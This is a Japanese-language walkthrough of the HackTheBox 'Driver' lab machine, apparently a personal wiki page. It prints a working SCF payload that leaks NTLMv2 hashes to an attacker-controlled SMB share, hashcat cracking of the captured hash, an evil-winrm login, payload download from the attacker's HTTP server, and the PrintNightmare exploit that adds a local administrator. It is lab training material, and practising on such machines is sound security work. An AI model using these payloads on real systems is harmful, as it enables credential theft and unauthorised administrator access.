HTB_Driver - meruneru/tech_memo GitHub Wiki

Machine - Driver

  • EASY
  • Windows

SMBの SCF File Attackで使って、サーバのNTLMv2ハッシュを取得し、 辞書解析することで、ID/PWを奪取する。

SMBにアクセスするも、これといったモノは見つからないが、 Port 5985が開いていることをもとに、 #evil-winrm を使ってシェルを取得する。 #evil-winrm は便利で、upload/downloadコマンドが使えて、kaliとサーバ上で簡単にファイを送受信できる。

#WinPEAS で #spoolsv というプリントスプーラーサービスが動作していることがわかり、 #CVE-2021-34527 #PrintNightmare で管理者権限アカウントを作って管理者権限を奪取する。

port scan

80(HTTP), 135(RPC), 445(SMB)

#SMB で情報収集してweb経由で侵入か?

nmap -sV -sC -Pn driver.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-23 18:35 EST
Nmap scan report for driver.htb (10.10.11.106)
Host is up (0.18s latency).
Other addresses for driver.htb (not scanned): 10.10.11.106
Not shown: 997 filtered ports
PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp open  msrpc        Microsoft Windows RPC
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h06m56s, deviation: 0s, median: 7h06m56s
| smb-security-mode:
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2022-01-24T06:42:36
|_  start_date: 2022-01-24T06:41:04

Enumulation

$ gobuster dir -u http://driver.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://driver.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/23 18:38:21 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 148] [--> http://driver.htb/images/]
/Images               (Status: 301) [Size: 148] [--> http://driver.htb/Images/]
/IMAGES               (Status: 301) [Size: 148] [--> http://driver.htb/IMAGES/]                                 

Access

ブラウザでアクセス

ブラウザにアクセスすると、ID/PWを要求させた。 admin/adminで入れた。

プリンタードライバーのファームウェアアップデートページのようだ。

PHP-Reverse-shell を使って、クライアント側でncでリッスンして、ファイルアップロードによるリバースシェルを試みたが刺さらず。

SMB経由で攻撃するようだ。

Enumulation

nmapでSMB脆弱性を調べるも見つからず。

┌──(kali㉿kali)-[~/htb/driver]
└─$ nmap -Pn -script smb-vuln-* driver.htb 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-04 19:29 EST
Nmap scan report for driver.htb (10.10.11.106)
Host is up (0.23s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE
80/tcp  open  http
135/tcp open  msrpc
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: No accounts left to try

Nmap done: 1 IP address (1 host up) scanned in 31.72 seconds

Access

"SMB exploit upload"で検索すると、SMB Share – SCF File Attacksというページがみつかった。

responderはSMB Auth Serverとして動作させることができる?みたいだ。

$ responder --lm -v -I tun0

responderを動かしておいて、Box上のサイトからhash.scfをDriverとしてアップロードする。

┌──(kali㉿kali)-[~/htb/driver]
└─$ cat hash.scf              
[Shell]
Command=2
IconFile=\\10.10.14.2\share\pentestlab.ico

[Taskbar]
Command=ToggleDesktop

hash.scfをアップロードすることで、Box側で自動実行され、responderにBoxのCredentialが送信される。

[SMB] NTLMv2 Client   : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash     : tony::DRIVER:04593f70656544ac:51A23C5FB34C76251F63459CA90F2B4B:01010000000000004AE67D317E1BD801062E514EB634E9A200000000020000000000000000000000

#NTLMv2 はMicrosoftのServer-Client間で使われているCharange-response認証方式とのこと。( 参照)

hashcatでSMBハッシュを解析すると、 "tony"というIDと"liltony"というパスワードが得られた。

┌──(kali㉿kali)-[~/htb/driver]
└─$ sudo hashcat  -m 5600 -a 0 NTLMv2-hash.txt /usr/share/wordlists/rockyou.txt  -O

TONY::DRIVER:04593f70656544ac:51a23c5fb34c76251f63459ca90f2b4b:01010000000000004ae67d317e1bd801062e514eb634e9a
200000000020000000000000000000000:liltony
                                                  
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: TONY::DRIVER:04593f70656544ac:51a23c5fb34c76251f634...000000
Time.Started.....: Sun Feb  6 06:07:37 2022 (1 sec)
Time.Estimated...: Sun Feb  6 06:07:38 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   286.3 kH/s (1.64ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 32769/14344385 (0.23%)
Rejected.........: 1/32769 (0.00%)
Restore.Point....: 30721/14344385 (0.21%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: zombies -> dyesebel

SMBに繋いでみる。

ID/PWとして、tony/liltonyを使ってアクセスすると見事見えた。

┌──(kali㉿kali)-[~/htb/driver]
└─$ smbclient -U tony  -L driver.htb                                                                      1 ⨯
Enter WORKGROUP\tony's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available

┌──(kali㉿kali)-[~/htb/driver]
└─$ sudo smbmap -u tony  -p liltony -H driver.htb                                                         1 ⨯
[+] IP: driver.htb:445  Name: unknown                                           
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC

これ以上はみつからず・・・

Foothold

Port5985

ここをみると、Port 5985が空いていると攻撃できるみたい。

┌──(kali㉿kali)-[~/htb/driver]
└─$ nmap -p 5985 driver.htb                                                                             130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-06 07:04 EST
Nmap scan report for driver.htb (10.10.11.106)
Host is up (0.24s latency).

PORT     STATE SERVICE
5985/tcp open  wsman

evil-winrmを使ってみる。 WS-Management Protocolで実装されていてるWinRM (Windows Remote Management)を悪用してShellを取ることができた。

┌──(kali㉿kali)-[~/htb/driver/evil-winrm]
└─$ evil-winrm -i driver.htb -p liltony -u tony                                                           1 ⨯

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tony\Documents> 

これで、ユーザーのFLAGをゲットできた。

管理者権限を取得

WinPEAS

権限昇格するための kali上にWinPEASをダウンロードしてきて、HTTPサーバを立てる。

$ ls
winPEASx64.exe
$ python3 -m http.server 8080

wgetの代わりに、 Invoke-WebRequestを使った。 #Evil-WinRM でログインしているので、downloadコマンドでkaliにログファイルをダウンロードできる。

*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-WebRequest -Uri "http://10.10.14.2:8080/winPEASx64.exe" -OutFile "aaa.exe"

*Evil-WinRM* PS C:\Users\tony\Documents> ./aaa.exe log=log.txt
*Evil-WinRM* PS C:\Users\tony\Documents> download log.txt

このBoxは #spoolsv が動いていることがわかった。 #spoolsv とは。プリンターで印刷するデータを一時的に保存するサービスとのこと。

CVE-2021-34527 PrintNightmareという脆弱性を使うことでエスカレーションできる。

  Protocol   Local Address         Local Port    Remote Address        Remote Port     State             Process ID      Process Name

  TCP        0.0.0.0               80            0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               135           0.0.0.0        er     0               Listening         708             svchost                                                                                                               TCP        0.0.0.0               445           0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               5985          0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               47001         0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               49408         0.0.0.0               0               Listening         452             wininit
  TCP        0.0.0.0               49409         0.0.0.0     W         0      y        Listening         832       0     svchost                                                                                                               TCP        0.0.0.0               49410         0.0.0.0               0               Listening         1220            spoolsv
  TCP        0.0.0.0               49411         0.0.0.0               0               Listening         956             svchost
  TCP        0.0.0.0               49412         0.0.0.0               0               Listening         568             services
  TCP        0.0.0.0               49413         0.0.0.0   s           0               Listening         576             lsass
  TCP        10.10.11.106          139           0.0.0.0               0               Listening         4               System
  TCP        10.10.11.106          5985          10.10.14.2            57286           Time Wait         0               Idle
  TCP        10.10.11.106          5985          10.10.14.2            57290           Time Wait         0               Idle
  TCP        10.10.11.106          5985          10.10.14.2            57292           Established       4               System

  Enumerating IPv6 connections

  Protocol   Local Address                               Local Port    Remote Address                              Remote Port     State             Process ID      Process Name

  TCP        [::]                                        80            [::]                                        0               Listening         4               System
  TCP        [::]                                        135           [::]                                        0               Listening         708             svchost
  TCP        [::]                                        445           [::]                                        0               Listening         4               System
  TCP        [::]                                        5985          [::]                                        0               Listening         4               System
  TCP        [::]                                        47001         [::]                                        0               Listening         4               System
  TCP        [::]                                        49408         [::]                                        0               Listening         452             wininit
  TCP        [::]                                        49409         [::]                                        0               Listening         832             svchost
  TCP        [::]                                        49410         [::]                                        0               Listening         1220            spoolsv
  TCP        [::]                                        49411         [::]                                        0               Listening         956             svchost
  TCP        [::]                                        49412         [::]                                        0               Listening         568             services
  TCP        [::]                                        49413         [::]                                        0               Listening         576             lsass

kaliにCVE-2021-1675 のPSスクリプトをダウンロードしてきて、 box側にアップロードする。

lqq(kali? kali)-[~/htb/driver/evil-winrm]
mq$ git clone https://github.com/calebstewart/CVE-2021-1675                                                                                                                                                                            129 ?
Cloning into 'CVE-2021-1675'...
remote: Enumerating objects: 40, done.
remote: Counting objects: 100% (40/40), done.
remote: Compressing objects: 100% (32/32), done.
remote: Total 40 (delta 9), reused 37 (delta 6), pack-reused 0
Receiving objects: 100% (40/40), 131.12 KiB | 2.38 MiB/s, done.
Resolving deltas: 100% (9/9), done.

lqq(kali? kali)-[~/htb/driver/evil-winrm]
mq$ mv CVE-2021-1675 invoke-nightmare


*Evil-WinRM* PS C:\Users\tony\Documents> upload /home/kali/htb/driver/evil-winrm/invoke-nightmare/CVE-2021-1675.ps1

実行ポリシーにより、スクリプトのインポートを拒否されたが、 URL先の説明をもとに、実行ポリシーを変更することで、実行できた。

あとは、スクリプトを実行して、管理者権限のユーザーを新規作成する。

*Evil-WinRM* PS C:\Users\tony\Documents> Import-Module ./CVE-2021-1675.ps1
File C:\Users\tony\Documents\CVE-2021-1675.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ Import-Module ./CVE-2021-1675.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [Import-Module], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess,Microsoft.PowerShell.Commands.ImportModuleCommand

*Evil-WinRM* PS C:\Users\tony\Documents> Get-ExecutionPolicy
Restricted
*Evil-WinRM* PS C:\Users\tony\Documents> Set-ExecutionPolicy -Scope CurrentUser Unrestricted
*Evil-WinRM* PS C:\Users\tony\Documents> Get-ExecutionPolicy
Unrestricted

*Evil-WinRM* PS C:\Users\tony\Documents> Import-Module ./CVE-2021-1675.ps1
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -NewUser "user1" -NewPassword "pass1"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user user1 as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll

新規作成したusr1/pass1にログインすることで、権限昇格できた。

lqq(kali? kali)-[~/htb/driver/evil-winrm]
mq$ evil-winrm -i driver.htb -u user1 -p pass1
⚠️ **GitHub.com Fallback** ⚠️